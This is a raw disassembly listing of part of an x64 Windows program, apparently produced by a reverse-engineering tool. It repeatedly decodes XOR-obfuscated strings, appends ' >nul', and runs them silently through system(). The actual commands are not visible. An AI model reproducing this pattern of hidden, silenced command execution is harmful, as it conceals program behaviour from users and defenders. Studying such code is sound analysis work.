lea rcx, [rbp + 0x20]
mov byte [rbp + 0x20], al
call fcn.14007c150
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005c141
mov r8d, esi
cmp r15d, 2
jl 0x14005c103
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005c010
cmp r8d, 0x33
jge 0x14005c141
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005c110
mov r8, rdi
lea rcx, [rbp + 0x2080]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x20a0]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x20c0]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x20e0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x20e0]
call fcn.14003a690
lea rcx, [rbp + 0x20c0]
call fcn.14003a690
lea rcx, [rbp + 0x20a0]
call fcn.14003a690
lea rcx, [rbp + 0x2080]
call fcn.14003a690
lea rcx, [rbp + 0x2060]
call fcn.14003a690
lea rcx, [rbp + 0x2040]
call fcn.14003a690
mov byte [0x141719193], 0
cmp byte [0x141719197], 0
je 0x14005c681
mov edx, 4
lea rcx, [rbp + 0x2100]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x2120]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3e5f]
xor eax, eax
lea rcx, [rbp + 0x21]
mov byte [rbp + 0x21], al
call fcn.14007c190
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005c391
mov r8d, esi
cmp r15d, 2
jl 0x14005c354
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005c261
cmp r8d, 0x33
jge 0x14005c391
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005c360
mov r8, rdi
lea rcx, [rbp + 0x2140]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2160]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2180]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x21a0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x21a0]
call fcn.14003a690
lea rcx, [rbp + 0x2180]
call fcn.14003a690
lea rcx, [rbp + 0x2160]
call fcn.14003a690
lea rcx, [rbp + 0x2140]
call fcn.14003a690
lea rcx, [rbp + 0x2120]
call fcn.14003a690
lea rcx, [rbp + 0x2100]
call fcn.14003a690
mov edx, 4
lea rcx, [rbp + 0x21c0]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x21e0]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3e92]
xor eax, eax
lea rcx, [rbp + 0x22]
mov byte [rbp + 0x22], al
call fcn.14007c1d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005c5d1
mov r8d, esi
cmp r15d, 2
jl 0x14005c593
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005c4a0
cmp r8d, 0x33
jge 0x14005c5d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005c5a0
mov r8, rdi
lea rcx, [rbp + 0x2200]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2220]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2240]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2260]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2260]
call fcn.14003a690
lea rcx, [rbp + 0x2240]
call fcn.14003a690
lea rcx, [rbp + 0x2220]
call fcn.14003a690
lea rcx, [rbp + 0x2200]
call fcn.14003a690
lea rcx, [rbp + 0x21e0]
call fcn.14003a690
lea rcx, [rbp + 0x21c0]
call fcn.14003a690
mov byte [0x141719197], 0
cmp byte [0x141719192], 0
je 0x14005cbdf
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x2280]
call fcn.140050ad0
mov edx, 4
lea rcx, [rbp + 0x22a0]
mov rbx, rax
call fcn.140050ad0
mov edx, 3
lea rcx, [rbp + 0x22c0]
mov rdi, rax
call fcn.140050ad0
mov rsi, rax
lea rdx, [rbp + 0x3ae0]
xor eax, eax
lea rcx, [rbp + 0x23]
mov byte [rbp + 0x23], al
call fcn.14007c210
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005c841
xor r8d, r8d
cmp r15d, 2
jl 0x14005c803
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005c710
cmp r8d, 0x31
jge 0x14005c841
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005c810
mov r8, rsi
lea rcx, [rbp + 0x22e0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2300]
call fcn.140083dd0
mov r8, rdi
lea rcx, [rbp + 0x2320]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2340]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2360]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2380]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2380]
call fcn.14003a690
lea rcx, [rbp + 0x2360]
call fcn.14003a690
lea rcx, [rbp + 0x2340]
call fcn.14003a690
lea rcx, [rbp + 0x2320]
call fcn.14003a690
lea rcx, [rbp + 0x2300]
call fcn.14003a690
lea rcx, [rbp + 0x22e0]
call fcn.14003a690
lea rcx, [rbp + 0x22c0]
call fcn.14003a690
lea rcx, [rbp + 0x22a0]
call fcn.14003a690
lea rcx, [rbp + 0x2280]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x23a0]
call fcn.140050ad0
mov edx, 4
lea rcx, [rbp + 0x23c0]
mov rbx, rax
call fcn.140050ad0
mov edx, 3
lea rcx, [rbp + 0x23e0]
mov rdi, rax
call fcn.140050ad0
mov rsi, rax
lea rdx, [rbp + 0x3b11]
xor eax, eax
lea rcx, [rbp + 0x24]
mov byte [rbp + 0x24], al
call fcn.14007c240
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005cae1
xor r8d, r8d
cmp r15d, 2
jl 0x14005caa3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005c9b0
cmp r8d, 0x31
jge 0x14005cae1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005cab0
mov r8, rsi
lea rcx, [rbp + 0x2400]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2420]
call fcn.140083dd0
mov r8, rdi
lea rcx, [rbp + 0x2440]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2460]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2480]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x24a0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x24a0]
call fcn.14003a690
lea rcx, [rbp + 0x2480]
call fcn.14003a690
lea rcx, [rbp + 0x2460]
call fcn.14003a690
lea rcx, [rbp + 0x2440]
call fcn.14003a690
lea rcx, [rbp + 0x2420]
call fcn.14003a690
lea rcx, [rbp + 0x2400]
call fcn.14003a690
lea rcx, [rbp + 0x23e0]
call fcn.14003a690
lea rcx, [rbp + 0x23c0]
call fcn.14003a690
lea rcx, [rbp + 0x23a0]
call fcn.14003a690
xor esi, esi
mov byte [0x141719192], 0
cmp byte [0x141719190], 0
je 0x14005d071
mov edx, 9
lea rcx, [rbp + 0x24c0]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x24e0]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3c37]
xor eax, eax
lea rcx, [rbp + 0x25]
mov byte [rbp + 0x25], al
call fcn.14007c270
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005cd81
mov r8d, esi
cmp r15d, 2
jl 0x14005cd43
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005cc50
cmp r8d, 0x32
jge 0x14005cd81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005cd50
mov r8, rdi
lea rcx, [rbp + 0x2500]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2520]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2540]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2560]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2560]
call fcn.14003a690
lea rcx, [rbp + 0x2540]
call fcn.14003a690
lea rcx, [rbp + 0x2520]
call fcn.14003a690
lea rcx, [rbp + 0x2500]
call fcn.14003a690
lea rcx, [rbp + 0x24e0]
call fcn.14003a690
lea rcx, [rbp + 0x24c0]
call fcn.14003a690
mov edx, 9
lea rcx, [rbp + 0x2580]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x25a0]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3c69]
xor eax, eax
lea rcx, [rbp + 0x26]
mov byte [rbp + 0x26], al
call fcn.14007c2a0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005cfc1
mov r8d, esi
cmp r15d, 2
jl 0x14005cf83
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005ce90
cmp r8d, 0x32
jge 0x14005cfc1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005cf90
mov r8, rdi
lea rcx, [rbp + 0x25c0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x25e0]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2600]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2620]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2620]
call fcn.14003a690
lea rcx, [rbp + 0x2600]
call fcn.14003a690
lea rcx, [rbp + 0x25e0]
call fcn.14003a690
lea rcx, [rbp + 0x25c0]
call fcn.14003a690
lea rcx, [rbp + 0x25a0]
call fcn.14003a690
lea rcx, [rbp + 0x2580]
call fcn.14003a690
mov byte [0x141719190], 0
cmp byte [0x14171914b], 0
je 0x14005d4bf
mov edx, 9
lea rcx, [rbp + 0x2640]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x2660]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3ec5]
xor eax, eax
lea rcx, [rbp + 0x27]
mov byte [rbp + 0x27], al
call fcn.14007c2d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005d211
mov r8d, esi
cmp r15d, 2
jl 0x14005d1d4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005d0e1
cmp r8d, 0x33
jge 0x14005d211
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005d1e0
mov r8, rdi
lea rcx, [rbp + 0x2680]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x26a0]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x26c0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26c0]
call fcn.14003a690
lea rcx, [rbp + 0x26a0]
call fcn.14003a690
lea rcx, [rbp + 0x2680]
call fcn.14003a690
lea rcx, [rbp + 0x2660]
call fcn.14003a690
lea rcx, [rbp + 0x2640]
call fcn.14003a690
mov edx, 9
lea rcx, [rbp + 0x26e0]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x2700]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3ef8]
xor eax, eax
lea rcx, [rbp + 0x28]
mov byte [rbp + 0x28], al
call fcn.14007c310
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005d431
mov r8d, esi
cmp r15d, 2
jl 0x14005d3f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005d300
cmp r8d, 0x33
jge 0x14005d431
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005d400
